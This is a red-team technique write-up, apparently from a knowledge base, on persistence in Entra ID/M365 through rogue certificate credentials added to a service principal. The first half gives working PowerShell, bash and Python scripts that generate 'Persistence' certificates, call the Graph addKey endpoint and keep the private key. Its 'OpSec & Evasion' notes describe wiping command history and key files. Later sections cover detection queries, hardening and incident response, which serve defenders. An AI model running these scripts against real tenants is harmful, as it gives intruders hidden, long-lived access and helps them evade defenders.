| Attribute | Details |
|---|---|
| Technique ID | REALWORLD-033 |
| MITRE ATT&CK v18.1 | T1098 - Account Manipulation |
| Tactic | Persistence, Privilege Escalation |
| Platforms | Entra ID / M365 |
| Severity | Critical |
| CVE | N/A |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-10 |
| Affected Versions | All Entra ID / M365 versions |
| Patched In | N/A - Design limitation |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Attackers with owner permissions on a service principal (or app registration) can add new certificate credentials without triggering the standard Azure Portal audit trails visible to defenders. Unlike secrets that appear in the portal UI, certificate-based credentials added to service principals are invisible in the Azure Portal’s “App registrations” credential management interface. These credentials can be used for long-term persistence, lateral movement, and privilege escalation, especially when the service principal has high-privilege API permissions or role assignments.
Attack Surface: Azure Portal App registrations, Graph API (servicePrincipal endpoint), PowerShell (MSAL or direct Graph API calls), certificate stores on compromised machines.
Business Impact: Complete tenant compromise without obvious credentials. An attacker can maintain persistent access indefinitely, execute privileged operations under the service principal’s identity, and evade detection because they control both the certificate and private key privately while the portal shows no visible secrets.
Technical Context: Adding certificates to service principals takes seconds and is done either via Graph API or Azure SDK. Detection is difficult because: (1) Certificate creation events are logged in Entra audit logs (OperationName: Add service principal credentials), but (2) the certificate public key itself is not shown in the portal, making it invisible to visual inspection. Attackers can use this certificate indefinitely without password resets, MFA, or conditional access policies that protect human-based authentication.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | CIS 3.9.1 | Ensure That ‘Credentials’ Set to Never Expire for Service Principals |
| DISA STIG | AC-2(j) | Shared/Group Account Review |
| CISA SCuBA | Entra ID 2.4 | Require service account secret rotation |
| NIST 800-53 | AC-3, AC-6 | Access Enforcement, Least Privilege |
| GDPR | Art. 32 | Security of Processing - Access Controls |
| DORA | Art. 9 | Protection and Prevention of ICT Vulnerabilities |
| NIS2 | Art. 21(3) | Privilege Management and Access Control |
| ISO 27001 | A.9.2.1, A.9.2.3 | Privileged Access Rights; Management of Privileged Access |
| ISO 27005 | 8.2.3 | Identity and Access Management Failure |
Supported Versions:
Tools:
Supported Versions: All Entra ID versions
Objective: Authenticate to the Graph API using existing service principal credentials (certificate, secret, or managed identity token).
Command (Using Certificate):
# Prerequisites: You have the service principal's certificate and client ID
$TenantId = "contoso.onmicrosoft.com" # or GUID
$ClientId = "12345678-1234-1234-1234-123456789012"
$CertThumbprint = "ABCDEF1234567890ABCDEF1234567890ABCDEF12"
Connect-MgGraph -TenantId $TenantId -ClientId $ClientId -CertificateThumbprint $CertThumbprint
Command (Using Client Secret):
$TenantId = "contoso.onmicrosoft.com"
$ClientId = "12345678-1234-1234-1234-123456789012"
$ClientSecret = "your-client-secret-value"
$SecureSecret = ConvertTo-SecureString -String $ClientSecret -AsPlainText -Force
$Credential = New-Object System.Management.Automation.PSCredential($ClientId, $SecureSecret)
Connect-MgGraph -TenantId $TenantId -Credential $Credential
Expected Output:
Welcome To Microsoft Graph PowerShell!
Connected via delegated access using account user@contoso.com
Consent was provided by clicking 'Accept' in the consent dialog.
Module imported successfully.
What This Means:
OpSec & Evasion:
Remove-Item (Get-PSReadlineOption).HistorySavePathTroubleshooting:
Connect-MgGraph : Resource not found for the segment 'devices'
Objective: Create a certificate that will be added to the service principal, ensuring you retain the private key for future authentication.
Command:
# Create a self-signed certificate with a 2-year validity
$Cert = New-SelfSignedCertificate `
-CertStoreLocation "Cert:\CurrentUser\My" `
-Subject "CN=Persistence-Certificate-$(Get-Random)" `
-KeySpec KeyExchange `
-NotAfter (Get-Date).AddYears(2)
Write-Host "Certificate Thumbprint: $($Cert.Thumbprint)"
Write-Host "Certificate Serial: $($Cert.SerialNumber)"
# Export the public certificate (without private key)
Export-Certificate -Cert $Cert -FilePath "C:\Temp\cert_public.cer"
# Export the certificate with private key for safekeeping
$Password = ConvertTo-SecureString -String "YourPassword123" -AsPlainText -Force
Export-PfxCertificate -Cert $Cert -FilePath "C:\Temp\cert_private.pfx" -Password $Password
Expected Output:
Certificate Thumbprint: A1B2C3D4E5F6A1B2C3D4E5F6A1B2C3D4E5F6A1B
Certificate Serial: 123456789ABCDEF
What This Means:
OpSec & Evasion:
Remove-Item "Cert:\CurrentUser\My\$($Cert.Thumbprint)"Objective: Register the public certificate as a credential on the service principal, making it a valid authentication method.
Command:
# Ensure you're connected to Graph
Get-MgContext
# Variables
$ServicePrincipalId = "87654321-4321-4321-4321-210987654321" # Get via Get-MgServicePrincipal -Filter "displayName eq 'AppName'"
$CertPath = "C:\Temp\cert_public.cer"
# Read the certificate
$Cert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2($CertPath)
$PublicKey = [System.Convert]::ToBase64String($Cert.GetRawCertData())
# Create the key credential object
$KeyCredential = @{
displayName = "PersistenceCert-$(Get-Date -Format 'yyyyMMddHHmmss')"
endDateTime = (Get-Date).AddYears(2)
keyId = [guid]::NewGuid().ToString()
startDateTime = Get-Date
type = "AsymmetricX509Cert"
usage = "Sign"
key = $PublicKey
}
# Add the certificate to the service principal
$Response = Invoke-MgGraphRequest `
-Method POST `
-Uri "https://graph.microsoft.com/v1.0/servicePrincipals/$ServicePrincipalId/addKey" `
-Body @{ keyCredential = $KeyCredential }
Write-Host "Certificate added successfully!"
Write-Host "Response: $($Response | ConvertTo-Json)"
Expected Output:
Certificate added successfully!
Response: {
"keyId": "a1b2c3d4-e5f6-7890-abcd-ef1234567890",
"displayName": "PersistenceCert-20260110120000",
"startDateTime": "2026-01-10T12:00:00Z",
"endDateTime": "2028-01-10T12:00:00Z"
}
What This Means:
keyId is the internal ID for this credential (useful for deletion if needed).OpSec & Evasion:
Add service principal credentials will be recorded, but most organizations don’t actively monitor this.Troubleshooting:
Invoke-MgGraphRequest: Permission denied
Directory.ReadWrite.All or Application.ReadWrite.All permission.Objective: Confirm that the new certificate can be used for authentication as the service principal.
Command:
# Disconnect from current session
Disconnect-MgGraph
# Install the certificate in a usable location
$PfxPath = "C:\Temp\cert_private.pfx"
$PfxPassword = ConvertTo-SecureString -String "YourPassword123" -AsPlainText -Force
# Import to Windows certificate store
$CertImport = Import-PfxCertificate -FilePath $PfxPath -CertStoreLocation "Cert:\CurrentUser\My" -Password $PfxPassword
Write-Host "Imported certificate with thumbprint: $($CertImport.Thumbprint)"
# Connect again using the new certificate to verify it works
$TenantId = "contoso.onmicrosoft.com"
$ClientId = "12345678-1234-1234-1234-123456789012"
$NewCertThumbprint = $CertImport.Thumbprint
Connect-MgGraph -TenantId $TenantId -ClientId $ClientId -CertificateThumbprint $NewCertThumbprint
# Verify authentication
$Context = Get-MgContext
Write-Host "Authenticated as: $($Context.Account)"
Write-Host "Tenant: $($Context.TenantId)"
Expected Output:
Imported certificate with thumbprint: A1B2C3D4E5F6A1B2C3D4E5F6A1B2C3D4E5F6A1B
Authenticated as: 12345678-1234-1234-1234-123456789012
Tenant: 87654321-4321-4321-4321-210987654321
What This Means:
OpSec & Evasion:
Remove-Item $PfxPathSupported Versions: All Entra ID versions
Command:
#!/bin/bash
# Generate a self-signed certificate
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 730 -nodes \
-subj "/CN=PersistenceCert-$(date +%s)"
# Convert to Base64 for Graph API
CERT_B64=$(base64 -w0 < cert.pem)
# Login to Azure
az login --service-principal -u <client-id> -p <client-secret> --tenant <tenant-id>
# Get the service principal object ID
SP_ID=$(az ad sp show --id <service-principal-client-id> --query id --output tsv)
# Create the request body
cat > cert_request.json <<EOF
{
"displayName": "PersistenceCert-$(date +%s)",
"type": "AsymmetricX509Cert",
"usage": "Sign",
"key": "$CERT_B64",
"startDateTime": "$(date -u +%Y-%m-%dT%H:%M:%SZ)",
"endDateTime": "$(date -u -d '+2 years' +%Y-%m-%dT%H:%M:%SZ)"
}
EOF
# Add certificate to service principal
az rest --method post \
--url "https://graph.microsoft.com/v1.0/servicePrincipals/$SP_ID/addKey" \
--body @cert_request.json \
--headers "Content-Type=application/json"
Expected Output:
{
"keyId": "a1b2c3d4-e5f6-7890-abcd-ef1234567890",
"displayName": "PersistenceCert-1704887400",
"startDateTime": "2026-01-10T12:00:00.000Z",
"endDateTime": "2028-01-10T12:00:00.000Z"
}
OpSec & Evasion:
rm -f key.pem cert.pem cert_request.jsonSupported Versions: All Entra ID versions; Python 3.8+
Command:
#!/usr/bin/env python3
import requests
import json
import base64
from cryptography import x509
from cryptography.x509.oid import NameOID
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.backends import default_backend
from datetime import datetime, timedelta
import uuid
# Configuration
TENANT_ID = "contoso.onmicrosoft.com"
CLIENT_ID = "12345678-1234-1234-1234-123456789012"
CLIENT_SECRET = "your-client-secret"
SERVICE_PRINCIPAL_ID = "87654321-4321-4321-4321-210987654321"
# Generate self-signed certificate
from cryptography.hazmat.primitives.asymmetric import rsa
private_key = rsa.generate_private_key(
public_exponent=65537,
key_size=2048,
backend=default_backend()
)
subject = issuer = x509.Name([
x509.NameAttribute(NameOID.COMMON_NAME, f"PersistenceCert-{datetime.now().strftime('%Y%m%d%H%M%S')}")
])
cert = x509.CertificateBuilder().subject_name(
subject
).issuer_name(
issuer
).public_key(
private_key.public_key()
).serial_number(
x509.random_serial_number()
).not_valid_before(
datetime.utcnow()
).not_valid_after(
datetime.utcnow() + timedelta(days=730)
).sign(private_key, hashes.SHA256(), default_backend())
# Encode certificate to PEM and then Base64
cert_pem = cert.public_bytes(serialization.Encoding.PEM).decode()
cert_b64 = base64.b64encode(cert.public_bytes(serialization.Encoding.DER)).decode()
# Get access token
token_url = f"https://login.microsoftonline.com/{TENANT_ID}/oauth2/v2.0/token"
token_data = {
"grant_type": "client_credentials",
"client_id": CLIENT_ID,
"client_secret": CLIENT_SECRET,
"scope": "https://graph.microsoft.com/.default"
}
token_response = requests.post(token_url, data=token_data)
access_token = token_response.json()["access_token"]
# Add certificate to service principal
graph_url = f"https://graph.microsoft.com/v1.0/servicePrincipals/{SERVICE_PRINCIPAL_ID}/addKey"
headers = {
"Authorization": f"Bearer {access_token}",
"Content-Type": "application/json"
}
payload = {
"keyCredential": {
"displayName": f"PersistenceCert-{datetime.now().strftime('%Y%m%d%H%M%S')}",
"type": "AsymmetricX509Cert",
"usage": "Sign",
"key": cert_b64,
"startDateTime": datetime.utcnow().isoformat() + "Z",
"endDateTime": (datetime.utcnow() + timedelta(days=730)).isoformat() + "Z"
}
}
response = requests.post(graph_url, headers=headers, json=payload)
print(json.dumps(response.json(), indent=2))
# Save the private key for future use
private_key_pem = private_key.private_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PrivateFormat.PKCS8,
encryption_algorithm=serialization.BestAvailableEncryption(b"YourPassword123")
)
with open("persistence_key.pem", "wb") as f:
f.write(private_key_pem)
print("\n[+] Certificate added successfully!")
print(f"[+] Private key saved to: persistence_key.pem")
OpSec & Evasion:
Version: 2.0+ Minimum Version: 1.0 Supported Platforms: Windows, macOS, Linux (PowerShell Core)
Installation:
Install-Module Microsoft.Graph -Repository PSGallery -Force
Usage:
Connect-MgGraph -Scopes "Application.ReadWrite.All","Directory.ReadWrite.All"
Get-MgServicePrincipal -Filter "displayName eq 'AppName'" | Select-Object Id, DisplayName
Version: 2.40.0+ Installation (macOS/Linux):
curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash
Usage:
az login --service-principal -u <client-id> -p <client-secret> --tenant <tenant-id>
az rest --method get --url https://graph.microsoft.com/v1.0/me
Version: 1.1.1+ (OpenSSL 3.0 recommended) Usage (Certificate Generation):
openssl genrsa -out key.pem 2048
openssl req -new -key key.pem -out csr.pem -subj "/CN=MyAppCert"
openssl x509 -req -in csr.pem -signkey key.pem -out cert.pem -days 730
Rule Configuration:
azure_activity or main (if Entra audit logs ingested)azure:aad:audit or azure:identityOperationName, InitiatedBy, TargetResources, ActivityDateTimeAdd service principal credentials where type = "AsymmetricX509Cert"SPL Query:
sourcetype="azure:aad:audit" OR sourcetype="azure:identity"
| search OperationName="Add service principal credentials"
| search ActivityDetails="type = AsymmetricX509Cert" OR ActivityDetails="*AsymmetricX509Cert*"
| stats count by InitiatedBy, TargetResources, ActivityDateTime, DisplayName
| where count > 0
What This Detects:
AsymmetricX509Cert type.False Positive Analysis:
where InitiatedBy!="automation@contoso.com" AND InitiatedBy!="devops-account@contoso.com"Rule Configuration:
azure_activityazure:aad:auditSPL Query:
sourcetype="azure:aad:audit"
| search OperationName="Add service principal credentials" AND ActivityDetails="*AsymmetricX509Cert*"
| search NOT (InitiatedBy="*@SYSTEM*" OR InitiatedBy="*Service Principal*" OR InitiatedBy IN (systemaccounts))
| dedup TargetResources
| table InitiatedBy, TargetResources, displayName, ActivityDateTime
| alert
What This Detects:
Manual Configuration Steps (Splunk Web):
When: Number of Results > 0Rule Configuration:
AuditLogsOperationName, InitiatedBy.user.userPrincipalName, TargetResources, ActivityDateTimeKQL Query:
AuditLogs
| where OperationName =~ "Add service principal credentials"
| where tostring(AdditionalDetails) has "AsymmetricX509Cert" or tostring(AdditionalDetails) has "type = 2"
| extend InitiatedUser = tostring(InitiatedBy.user.userPrincipalName)
| extend SPName = tostring(TargetResources[0].displayName)
| extend SPId = tostring(TargetResources[0].id)
| summarize EventCount = count() by InitiatedUser, SPName, SPId, ActivityDateTime
| where EventCount > 0
What This Detects:
Manual Configuration Steps (Azure Portal):
Detect Service Principal Certificate PersistenceCreate incidents from alerts triggered by this analytics ruleKQL Query:
AuditLogs
| where OperationName =~ "Add service principal credentials"
| where tostring(AdditionalDetails) has "AsymmetricX509Cert"
| extend ExpirationDate = extract(@"endDateTime.*?(\d{4}-\d{2}-\d{2})", 1, tostring(AdditionalDetails))
| extend StartDate = extract(@"startDateTime.*?(\d{4}-\d{2}-\d{2})", 1, tostring(AdditionalDetails))
| extend DaysValid = todatetime(ExpirationDate) - todatetime(StartDate)
| where DaysValid > 365d // Certificates valid longer than 1 year are suspicious
| extend InitiatedUser = tostring(InitiatedBy.user.userPrincipalName)
| summarize count() by InitiatedUser, TargetResources, ExpirationDate, DaysValid
What This Detects:
Manual Steps (Azure Portal):
Require MFA for Credential ManagementApplication Administrator, Cloud Application Administrator, Global AdministratorMicrosoft Graph, Azure Service ManagementManual Steps (PowerShell):
# Ensure MFA is required for any credential-related operations
# This requires running as Global Administrator
$PolicyName = "Require MFA for Credential Management"
$Conditions = New-Object -TypeName Microsoft.Open.MSGraph.Model.ConditionalAccessConditionSet
$Conditions.Applications = New-Object -TypeName Microsoft.Open.MSGraph.Model.ConditionalAccessApplications
$Conditions.Applications.IncludeApplications = @("00000003-0000-0000-c000-000000000000") # Microsoft Graph
$Conditions.Applications.IncludeApplications += "797f4846-ba00-4fd7-ba43-dac1f8f63013" # Azure Service Management
$GrantControls = New-Object -TypeName Microsoft.Open.MSGraph.Model.ConditionalAccessGrantControls
$GrantControls.Operator = "OR"
$GrantControls.BuiltInControls = @("mfa")
New-AzureADMSConditionalAccessPolicy -DisplayName $PolicyName -Conditions $Conditions -GrantControls $GrantControls -State "Enabled"
Objective: Use Azure RBAC to limit who can add credentials to service principals.
Manual Steps (Azure Portal):
Manual Steps (PowerShell):
# Get a specific service principal
$SPName = "MySecureApp"
$SP = Get-MgServicePrincipal -Filter "displayName eq '$SPName'"
# Get current owners
$Owners = Get-MgServicePrincipalOwner -ServicePrincipalId $SP.Id
# Remove owners (except authorized ones)
foreach ($Owner in $Owners) {
if ($Owner.Mail -notlike "*authorized-admin@contoso.com") {
Remove-MgServicePrincipalOwnerByRef -ServicePrincipalId $SP.Id -DirectoryObjectId $Owner.Id
Write-Host "Removed owner: $($Owner.Mail)"
}
}
Objective: Ensure all credential modifications are captured and retained.
Manual Steps (Entra ID Audit Logs):
Manual Steps (PowerShell - Export Logs):
# Export audit logs for service principal credential changes (last 30 days)
$StartDate = (Get-Date).AddDays(-30)
$EndDate = Get-Date
Get-MgAuditLogDirectoryAudit -Filter "operationName eq 'Add service principal credentials' and createdDateTime ge $StartDate and createdDateTime le $EndDate" |
Export-Csv -Path "C:\Logs\SPCredentialChanges.csv" -NoTypeInformation
Write-Host "Exported audit logs to C:\Logs\SPCredentialChanges.csv"
Objective: Require approval workflows before any credential changes.
Manual Steps (Using Azure PIM):
This forces any credential changes to go through an approval workflow, making unauthorized additions more difficult.
Objective: Establish a credential rotation schedule to limit attacker persistence.
Manual Steps (PowerShell - Monthly Audit):
# Generate a report of all service principals with certificate credentials
$AllSPs = Get-MgServicePrincipal -All
foreach ($SP in $AllSPs) {
$Credentials = $SP | Get-MgServicePrincipalAppRoleAssignment
# Check for certificates
$SP | Get-MgServicePrincipal -Select "keyCredentials" |
Select-Object -ExpandProperty keyCredentials |
Where-Object { $_.Type -eq "AsymmetricX509Cert" } |
ForEach-Object {
Write-Host "SP: $($SP.DisplayName), Certificate: $($_.DisplayName), Expires: $($_.EndDateTime)"
}
}
Audit Logs:
Add service principal credentialsAsymmetricX509CertCloud Logs (Entra Audit):
AuditLogs table in SentinelactivityDateTime and initiatedBy fieldstargetResources containing service principal ID and nameGraph API:
keyCredentials entriesCommand (Disable the Service Principal):
$SPId = "87654321-4321-4321-4321-210987654321"
Update-MgServicePrincipal -ServicePrincipalId $SPId -AccountEnabled $false
Write-Host "Service principal disabled. All authentications will now fail."
Command (PowerShell):
$SPId = "87654321-4321-4321-4321-210987654321"
$SP = Get-MgServicePrincipal -ServicePrincipalId $SPId
# Remove all key credentials (certificates)
foreach ($Key in $SP.KeyCredentials) {
Remove-MgServicePrincipalKey -ServicePrincipalId $SPId -KeyId $Key.KeyId -Confirm:$false
Write-Host "Removed certificate: $($Key.DisplayName)"
}
# Remove all password credentials (secrets)
foreach ($Pwd in $SP.PasswordCredentials) {
Remove-MgServicePrincipalPassword -ServicePrincipalId $SPId -PasswordId $Pwd.KeyId -Confirm:$false
Write-Host "Removed secret: $($Pwd.DisplayName)"
}
Command (List all activities within the last 24 hours):
AuditLogs
| where InitiatedBy.servicePrincipalId =~ "87654321-4321-4321-4321-210987654321"
| where ActivityDateTime > ago(24h)
| summarize count() by OperationName, ResourceDisplayName, ActivityDateTime
Command (After investigation):
# Create a new secret
$SecurePassword = ConvertTo-SecureString -String (New-Guid).Guid -AsPlainText -Force
$AppId = (Get-MgServicePrincipal -ServicePrincipalId $SPId).AppId
Add-AzureADApplicationPasswordCredential -ObjectId $AppId -Value $SecurePassword -StartDate (Get-Date) -EndDate (Get-Date).AddYears(1)
# Re-enable
Update-MgServicePrincipal -ServicePrincipalId $SPId -AccountEnabled $true
Write-Host "Service principal re-enabled with new credentials."
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | IA-PHISH-001 (Device Code Phishing) or Compromised Credentials | Attacker gains initial access via phishing or credential compromise |
| 2 | Privilege Escalation | PE-ACCTMGMT-001 (App Registration Permissions) | Escalate to Application Administrator or Owner role |
| 3 | Current Step | REALWORLD-033 | Add certificate credentials to service principal for persistence |
| 4 | Lateral Movement | LM-AUTH-005 (Service Principal Key/Certificate) | Use certificate to authenticate and move laterally |
| 5 | Impact | IMPACT-RANSOM-001 or Exfiltration | Execute privileged operations or exfiltrate data |
This technique does not have a direct Atomic Red Team test. However, Red Teams can create custom tests using the execution methods above:
Recommended Atomic Test (Custom):
- name: Add Certificate Credential to Service Principal
description: |
Adds a self-signed certificate to a service principal's credentials
for persistent authentication.
supported_platforms: [windows, macos, linux]
input_arguments:
sp_client_id:
description: Service Principal Client ID
type: string
default: "12345678-1234-1234-1234-123456789012"
cert_validity_days:
description: Days for certificate validity
type: integer
default: 730
executor:
name: powershell
command: |
# Requires: Microsoft.Graph module and Global Administrator role
Install-Module Microsoft.Graph -Force
Connect-MgGraph -Scopes "Application.ReadWrite.All"
$Cert = New-SelfSignedCertificate -CertStoreLocation "Cert:\CurrentUser\My" -Subject "CN=AtomicTest" -KeySpec KeyExchange -NotAfter (Get-Date).AddDays()
Export-Certificate -Cert $Cert -FilePath "C:\Temp\atomic_cert.cer"
$CertData = [System.IO.File]::ReadAllBytes("C:\Temp\atomic_cert.cer")
$CertB64 = [System.Convert]::ToBase64String($CertData)
$KeyCredential = @{
displayName = "AtomicTest-$(Get-Random)"
type = "AsymmetricX509Cert"
usage = "Sign"
key = $CertB64
}
Invoke-MgGraphRequest -Method POST -Uri "https://graph.microsoft.com/v1.0/servicePrincipals//addKey" -Body @{ keyCredential = $KeyCredential }
Cloud Artifacts:
AuditLogs table in Sentinel)File Artifacts (if keys stored locally):
C:\Users\<username>\AppData\Roaming\Microsoft\Crypto\RSA (Windows) or ~/.config/ (Linux)Cert:\CurrentUser\My (PowerShell)Network Artifacts:
graph.microsoft.com/v1.0/servicePrincipals/*/addKey)Memory Artifacts:
References: